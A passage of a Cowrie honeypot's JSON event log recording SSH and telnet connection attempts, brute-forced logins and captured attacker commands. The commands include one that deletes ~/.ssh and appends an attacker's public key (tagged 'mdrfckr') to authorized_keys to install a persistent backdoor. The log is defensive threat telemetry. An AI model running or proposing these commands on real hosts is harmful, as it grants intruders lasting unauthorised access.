{"eventid":"cowrie.session.closed","duration":12.377217054367065,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:48:42.072750Z","src_ip":"77.28.227.79","session":"c12983928eee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":30447,"dst_ip":"159.203.135.109","dst_port":22,"session":"101527179cd5","protocol":"ssh","message":"New connection: 193.46.255.86:30447 (159.203.135.109:22) [session: 101527179cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:48:49.066789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:48:49.071422Z","src_ip":"193.46.255.86","session":"101527179cd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:48:49.211041Z","src_ip":"193.46.255.86","session":"101527179cd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"","password":"","message":"login attempt [/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:48:49.843078Z","src_ip":"193.46.255.86","session":"101527179cd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:48:50.985511Z","src_ip":"193.46.255.86","session":"101527179cd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":42958,"dst_ip":"159.203.135.109","dst_port":23,"session":"983396fd113e","protocol":"telnet","message":"New connection: 174.138.46.234:42958 (159.203.135.109:23) [session: 983396fd113e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:49:13.078005Z"}
{"eventid":"cowrie.session.closed","duration":7.926329851150513,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:49:21.004215Z","src_ip":"174.138.46.234","session":"983396fd113e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.20.25","src_port":57260,"dst_ip":"159.203.135.109","dst_port":22,"session":"586ded033f28","protocol":"ssh","message":"New connection: 209.38.20.25:57260 (159.203.135.109:22) [session: 586ded033f28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:49:26.652066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:49:26.656109Z","src_ip":"209.38.20.25","session":"586ded033f28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:49:26.868230Z","src_ip":"209.38.20.25","session":"586ded033f28","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steamsteam","message":"login attempt [steam/steamsteam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:49:27.742725Z","src_ip":"209.38.20.25","session":"586ded033f28","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:49:28.195302Z","src_ip":"209.38.20.25","session":"586ded033f28","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:49:28.198141Z","src_ip":"209.38.20.25","session":"586ded033f28","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:49:28.201233Z","src_ip":"209.38.20.25","session":"586ded033f28","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:49:28.415033Z","src_ip":"209.38.20.25","session":"586ded033f28","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:49:28.866755Z","src_ip":"209.38.20.25","session":"586ded033f28","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:49:28.870135Z","src_ip":"209.38.20.25","session":"586ded033f28","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:49:29.086271Z","src_ip":"209.38.20.25","session":"586ded033f28","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:49:29.090216Z","src_ip":"209.38.20.25","session":"586ded033f28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.20.25","src_port":57270,"dst_ip":"159.203.135.109","dst_port":22,"session":"8469425d252e","protocol":"ssh","message":"New connection: 209.38.20.25:57270 (159.203.135.109:22) [session: 8469425d252e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:49:29.293766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:49:29.297046Z","src_ip":"209.38.20.25","session":"8469425d252e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:49:29.507214Z","src_ip":"209.38.20.25","session":"8469425d252e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:49:30.383653Z","src_ip":"209.38.20.25","session":"8469425d252e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:49:31.598332Z","src_ip":"209.38.20.25","session":"8469425d252e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.20.25","src_port":57272,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0fe04b2adab","protocol":"ssh","message":"New connection: 209.38.20.25:57272 (159.203.135.109:22) [session: d0fe04b2adab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:49:31.807539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:49:31.812238Z","src_ip":"209.38.20.25","session":"d0fe04b2adab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:49:32.026805Z","src_ip":"209.38.20.25","session":"d0fe04b2adab","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:49:32.902949Z","src_ip":"209.38.20.25","session":"d0fe04b2adab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:49:33.117729Z","src_ip":"209.38.20.25","session":"586ded033f28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:49:33.120986Z","src_ip":"209.38.20.25","session":"d0fe04b2adab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":53216,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d1fb41ed789","protocol":"telnet","message":"New connection: 174.138.46.234:53216 (159.203.135.109:23) [session: 5d1fb41ed789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:49:47.967343Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":53328,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee6e65942839","protocol":"telnet","message":"New connection: 174.138.46.234:53328 (159.203.135.109:23) [session: ee6e65942839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:49:48.338151Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":53344,"dst_ip":"159.203.135.109","dst_port":23,"session":"826b37e89ea6","protocol":"telnet","message":"New connection: 174.138.46.234:53344 (159.203.135.109:23) [session: 826b37e89ea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:49:48.397210Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":53794,"dst_ip":"159.203.135.109","dst_port":23,"session":"47c5777829d1","protocol":"telnet","message":"New connection: 174.138.46.234:53794 (159.203.135.109:23) [session: 47c5777829d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:49:49.887913Z"}
{"eventid":"cowrie.session.closed","duration":5.796708822250366,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:49:53.763946Z","src_ip":"174.138.46.234","session":"5d1fb41ed789","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.867058515548706,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:49:54.264122Z","src_ip":"174.138.46.234","session":"826b37e89ea6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.9502527713775635,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:49:54.288265Z","src_ip":"174.138.46.234","session":"ee6e65942839","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.991817474365234,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:49:55.879635Z","src_ip":"174.138.46.234","session":"47c5777829d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.20.25","src_port":54844,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c2d8946b1f5","protocol":"ssh","message":"New connection: 209.38.20.25:54844 (159.203.135.109:22) [session: 6c2d8946b1f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:50:21.614027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:50:21.630720Z","src_ip":"209.38.20.25","session":"6c2d8946b1f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:50:21.842713Z","src_ip":"209.38.20.25","session":"6c2d8946b1f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"test123","message":"login attempt [ftpuser/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:50:22.722053Z","src_ip":"209.38.20.25","session":"6c2d8946b1f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:50:23.937154Z","src_ip":"209.38.20.25","session":"6c2d8946b1f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40118,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f82459c1d34","protocol":"telnet","message":"New connection: 174.138.46.234:40118 (159.203.135.109:23) [session: 2f82459c1d34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:50:40.520483Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40234,"dst_ip":"159.203.135.109","dst_port":23,"session":"74c264a55a13","protocol":"telnet","message":"New connection: 174.138.46.234:40234 (159.203.135.109:23) [session: 74c264a55a13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:50:41.873402Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40826,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3feb0815302","protocol":"telnet","message":"New connection: 174.138.46.234:40826 (159.203.135.109:23) [session: e3feb0815302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:50:42.864861Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.36.200.182","src_port":47611,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c509e5d4616","protocol":"ssh","message":"New connection: 177.36.200.182:47611 (10.17.0.5:22) [session: 4c509e5d4616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:50:45.626579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:50:45.633537Z","src_ip":"177.36.200.182","session":"4c509e5d4616","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md